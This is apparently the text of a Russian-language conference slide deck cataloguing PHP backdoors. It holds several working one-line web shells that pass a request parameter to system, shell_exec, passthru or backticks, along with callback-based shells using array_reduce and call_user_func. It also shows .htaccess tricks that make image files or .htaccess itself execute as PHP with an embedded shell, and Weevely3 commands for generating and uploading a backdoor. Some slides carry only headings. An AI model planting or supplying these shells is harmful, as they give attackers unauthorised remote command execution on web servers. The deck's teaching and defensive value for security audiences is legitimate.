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Whoami



Что такое бэкдор?



Бэкдор, backdoor (от англ. back door — «чёрный 
ход», буквально «задняя дверь») — дефект 
алгоритма, который намеренно встраивается в 
него разработчиком и позволяет получить 
несанкционированный доступ к данным или 
удалённому управлению операционной системой 
и компьютером в целом.



1. Простые бэкдоры



Опасные функции
1) system
2) exec
3) shell_exec
4) passthru
5) proc_open
6) popen
7) assert
8) call_user_func
9) pcntl_exec

10) eval, etc.

<?php system($_REQUEST["id"]);?>

<?php echo `$_REQUEST[id]`;?> 

<?php echo shell_exec($_REQUEST["id"]);?>

<?php 
call_user_func($_REQUEST[a],$_REQUEST[b]); 
?>

<?php create_function('', '};'.$_REQUEST[id].'{'); ?>



Примеры выполнения



Примеры выполнения



Примеры выполнения





2. Продвинутые бэкдоры



array_map



filter_input_array



array_reduce



<?php

$x = filter_input_array(1, array('id'=>'', 'c'=>''));

array_reduce([1], $x['id'],  $x['c']);

// Происходит следующее:

// $x[id] = $_GET[id];          $x[c] = $_GET[c];



extract



iterator_apply



SQLite3::createFunction



register_shutdown_function



forward_static_call_array



3. Необычные бэкдоры



?x=zip://backdoor.zip%23backdoor.php&
id=passthru&c=php -v

zip://



EXIF



EXIF



EXIF



.htaccess

AddType application/x-httpd-php .jpg



.htaccess
<Files ~ "^\.ht">

Order allow, deny

Allow from all

</Files>

AddType application/x-httpd-php .htaccess

#<?php passthru($_REQUEST['id']); ?>



.htaccess



4. Удобные бэкдоры



WSO



PAS



Weevely3

1. Создаем бэкдор
weevely generate <password> <path>

2. Заливаем и используем
weevely <URL> <password> [cmd]





5. Бонус

PH
P 

7.
4



Foreign Function Interface (FFI)



FFI shell



Bypass disable_functions via FFI 
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Вопросы?



Thank you for 
your attention!


